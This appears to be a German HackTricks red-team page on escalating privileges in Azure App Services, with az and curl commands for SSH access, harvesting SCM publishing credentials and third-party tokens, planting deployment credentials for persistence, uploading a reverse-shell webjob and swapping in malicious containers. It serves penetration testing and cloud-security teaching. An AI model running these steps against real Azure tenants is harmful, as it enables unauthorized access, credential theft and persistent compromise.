Az - App Services Privesc

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

App Services

Für weitere Informationen zu Azure App-Diensten siehe:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

Diese Berechtigungen ermöglichen den Zugriff auf eine SSH-Shell innerhalb einer Webanwendung. Sie erlauben auch das Debuggen der Anwendung.

  • SSH in einem einzelnen Befehl:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • Tunnel erstellen und dann mit SSH verbinden:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • Debuggen Sie die Anwendung:
  1. Installieren Sie die Azure-Erweiterung in VScode.
  2. Melden Sie sich mit dem Azure-Konto in der Erweiterung an.
  3. Listen Sie alle App-Dienste innerhalb des Abonnements auf.
  4. Wählen Sie den App-Dienst aus, den Sie debuggen möchten, klicken Sie mit der rechten Maustaste und wählen Sie "Debugging starten".
  5. Wenn die App das Debugging nicht aktiviert hat, versucht die Erweiterung, es zu aktivieren, aber Ihr Konto benötigt die Berechtigung Microsoft.Web/sites/config/write, um dies zu tun.

SCM-Anmeldeinformationen abrufen & Basisauthentifizierung aktivieren

Um die SCM-Anmeldeinformationen zu erhalten, können Sie die folgenden Befehle und Berechtigungen verwenden:

  • Die Berechtigung Microsoft.Web/sites/publishxml/action erlaubt das Aufrufen:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

Beachten Sie, dass der Benutzername immer derselbe ist (außer bei FTP, wo der Name der App am Anfang hinzugefügt wird), aber das Passwort für alle dasselbe ist.

Darüber hinaus ist die SCM-URL <app-name>.scm.azurewebsites.net.

  • Die Berechtigung Microsoft.Web/sites/config/list/action erlaubt das Aufrufen:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

Beachten Sie, dass die Anmeldeinformationen die gleichen sind wie im vorherigen Befehl.

  • Eine weitere Möglichkeit wäre, Ihre eigenen Anmeldeinformationen festzulegen und diese zu verwenden:
bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

Dann können Sie diese Anmeldeinformationen verwenden, um auf die SCM- und FTP-Plattformen zuzugreifen. Dies ist auch eine großartige Möglichkeit, um Persistenz aufrechtzuerhalten.

Denken Sie daran, dass Sie, um auf die SCM-Plattform über das Web zuzugreifen, zu <SCM-URL>/BasicAuth zugreifen müssen.

warning

Beachten Sie, dass jeder Benutzer seine eigenen Anmeldeinformationen konfigurieren kann, indem er den vorherigen Befehl aufruft, aber wenn der Benutzer nicht über ausreichende Berechtigungen verfügt, um auf die SCM oder FTP zuzugreifen, funktionieren die Anmeldeinformationen nicht.

  • Wenn Sie sehen, dass diese Anmeldeinformationen REDACTED sind, liegt das daran, dass Sie die Option für die grundlegende SCM-Authentifizierung aktivieren müssen und dafür benötigen Sie die zweite Berechtigung (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

Code mit SCM-Anmeldeinformationen veröffentlichen

Mit gültigen SCM-Anmeldeinformationen ist es möglich, Code in den App-Dienst zu veröffentlichen. Dies kann mit dem folgenden Befehl erfolgen.

Für dieses Python-Beispiel können Sie das Repository von https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart herunterladen, beliebige Änderungen vornehmen und dann zippen Sie es mit: zip -r app.zip ..

Dann können Sie den Code mit dem folgenden Befehl in einer Webanwendung veröffentlichen:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | SCM-Anmeldeinformationen

Die erwähnte Azure-Berechtigung ermöglicht es, mehrere interessante Aktionen durchzuführen, die auch mit den SCM-Anmeldeinformationen durchgeführt werden können:

  • Webjobs-Protokolle lesen:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Lesen Sie den Webjobs Quellcode:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • Erstellen Sie kontinuierlichen Webjob:
bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Diese Berechtigungen ermöglichen es, eine verwaltete Identität dem App-Dienst zuzuweisen. Wenn ein App-Dienst zuvor kompromittiert wurde, kann der Angreifer neue verwaltete Identitäten dem App-Dienst zuweisen und Berechtigungen auf diese erhöhen.

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

Diese Berechtigung ermöglicht das Auflisten der Verbindungszeichenfolgen und der App-Einstellungen des App-Dienstes, die möglicherweise sensible Informationen wie Datenbankanmeldeinformationen enthalten.

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

Konfigurierte Drittanbieter-Anmeldeinformationen lesen

Durch Ausführen des folgenden Befehls ist es möglich, die Drittanbieter-Anmeldeinformationen zu lesen, die im aktuellen Konto konfiguriert sind. Beachten Sie, dass Sie beispielsweise, wenn einige Github-Anmeldeinformationen in einem anderen Benutzer konfiguriert sind, nicht auf das Token eines anderen Benutzers zugreifen können.

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Dieser Befehl gibt Tokens für Github, Bitbucket, Dropbox und OneDrive zurück.

Hier sind einige Beispielbefehle, um die Tokens zu überprüfen:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Update App Code from the source

  • Wenn die konfigurierte Quelle ein Drittanbieter wie Github, BitBucket oder ein Azure Repository ist, können Sie den Code des App-Dienstes aktualisieren, indem Sie den Quellcode im Repository kompromittieren.
  • Wenn die App mit einem remote git repository (mit Benutzername und Passwort) konfiguriert ist, ist es möglich, die URL und die grundlegenden Authentifizierungsdaten zu erhalten, um Änderungen zu klonen und zu pushen mit:
  • Mit der Berechtigung Microsoft.Web/sites/sourcecontrols/read: az webapp deployment source show --name <app-name> --resource-group <res-group>
  • Mit der Berechtigung Microsoft.Web/sites/config/list/action:
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • Wenn die App so konfiguriert ist, dass sie ein local git repository verwendet, ist es möglich, das Repository zu klonen und Änderungen daran vorzunehmen:
  • Mit der Berechtigung Microsoft.Web/sites/sourcecontrols/read: Sie können die URL des git-Repos mit az webapp deployment source show --name <app-name> --resource-group <res-group> erhalten, aber es wird die gleiche sein wie die SCM-URL der App mit dem Pfad /<app-name>.git (z.B. https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git).
  • Um die SCM-Anmeldeinformationen zu erhalten, benötigen Sie die Berechtigung:
  • Microsoft.Web/sites/publishxml/action: Führen Sie dann az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name> aus.
  • Microsoft.Web/sites/config/list/action: Führen Sie dann az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group> aus.

warning

Beachten Sie, dass es mit der Berechtigung Microsoft.Web/sites/config/list/action und den SCM-Anmeldeinformationen immer möglich ist, in eine Webanwendung zu deployen (auch wenn sie so konfiguriert wurde, dass sie einen Drittanbieter verwendet), wie in einem vorherigen Abschnitt erwähnt.

warning

Beachten Sie, dass es mit den untenstehenden Berechtigungen auch möglich ist, einen beliebigen Container auszuführen, selbst wenn die Webanwendung anders konfiguriert wurde.

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

Dies ist der Satz von Berechtigungen, der es ermöglicht, den Container zu ändern, der von einer Webanwendung verwendet wird. Ein Angreifer könnte dies ausnutzen, um eine Webanwendung einen bösartigen Container ausführen zu lassen.

bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks